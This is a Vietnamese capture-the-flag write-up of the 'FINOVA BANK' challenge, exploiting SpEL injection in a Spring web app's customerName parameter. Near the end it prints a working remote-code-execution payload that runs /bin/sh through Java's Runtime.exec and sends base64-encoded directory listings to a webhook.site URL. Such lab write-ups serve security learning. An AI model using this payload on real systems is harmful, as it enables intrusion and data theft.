FINOVA BANK
Writeup chi tiết về challenge FINOVA BANK - khai thác SpEL Injection
FINOVA

# Mở đầu
DF Cyber Defend 2025 là sự kiện diễn tập an ninh mạng quy mô lớn trong lĩnh vực tài chính - ngân hàng. Cuộc diễn tập năm nay thu hút sự tham gia của nhiều kỹ sư từ nhiều tổ chức tài chính, ngân hàng lớn và các chuyên gia đầu ngành.
Mình thì chưa có cơ hội để tham gia lúc sự kiện này diễn ra, nhưng về sau ban tổ chức có public challenge thì cũng thử làm xem sao.
# Bắt đầu thôi
Khi vào trang web thì cũng không có chức năng đăng nhập, đăng ký gì hết. Ta được chuyển thẳng vào trang nhìn rất là "tài chính":

Theo kinh nghiệm thì cứ truyền vào các kí tự đặc biệt " ' ( ) xem có điều gì xảy ra không.

Kết quả đã có lỗi Internal Server Error trả về, lỗi trong param customerName:

Anh lập trình viên lại tạo ra lỗi trong bước đưa dữ liệu về server rồi. Quan sát thấy lỗi EL1045E.
Tra cứu một hồi thì đây là lỗi trong Spring Expression Language (SpEL), một ngôn ngữ biểu thức được sử dụng trong Java, cụ thể trong Spring Framework.
SpEL cho phép viết các biểu thức động trong code hoặc file cấu hình Spring:
@Value("#{user.name}")
@Value("#{T(Math).random()}")
Nhìn lại message báo lỗi trong Burp một lần nữa, chú ý thấy đoạn [ \"a\"\"]. Vậy là khi ta inject dấu nháy kép vào đây đã phá vỡ cấu trúc của 1 lệnh nào đó và dẫn tới lỗi. Thế thì khả năng đây là lỗi gì đó tương tự như SQLi đây.
Mục tiêu của mình là tìm hiểu cách viết các câu lệnh SpEL và làm sao chèn payload vào để không còn báo lỗi nữa.
Google và GPT một chút, mình tìm được một số đoạn code sử dụng SpEL trong Java có vẻ hợp lý:
Ví dụ 1:
class Customer {
private String customerName;
public Customer(String customerName) {
this.customerName = customerName;
}
public String getCustomerName() {
return customerName;
}
}
public class SpELCustomerExample {
public static void main(String[] args) {
Customer customer = new Customer("Alice");
ExpressionParser parser = new SpelExpressionParser();
// Biểu thức SpEL: kết hợp chuỗi input trong nháy kép với customerName
String expression = "\"Welcome, \" + customerName";
String message = parser.parseExpression(expression).getValue(customer, String.class);
System.out.println(message); // Output: Welcome, Alice
}
}
Ví dụ 2:
public class SpELCustomerCheck {
public static void main(String[] args) {
Customer customer = new Customer("Bob");
ExpressionParser parser = new SpelExpressionParser();
// So sánh customerName với một chuỗi input
boolean isBob = parser.parseExpression("customerName == \"Bob\"")
.getValue(customer, Boolean.class);
System.out.println(isBob); // Output: true
}
}
Trong SpEL cũng có các toán tử login như and, or.
Giờ mình thử payload nào đó xem sao, ví dụ a" and "1" == "1 thì thấy trả về lỗi sau:

Vậy là "a" đang được coi như String, điều chỉnh payload thành a" == "a" and "1" = "1 thì thu được kết quả:

Giờ chơi lớn với lệnh command luôn, trong Java mình sử dụng T(java.lang.Runtime).getRuntime().exec(...)
Cụ thể:
a" == "a" or 1 == (T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh", "-c", "ls -la / | base64 -w0 | curl -X POST https://webhook.site/70dca831-6a78-4402-840a-37acf3237ab4 --data-binary @-"})) or "1" = "1
Trong Webhook đã có request tới:

Decode thì đọc được:

Từ đây đơn giản thay lệnh command và đọc được flag thôi: DF25{Y0u_c0UlD_5p3L_7h3_3xpr35510N!!}.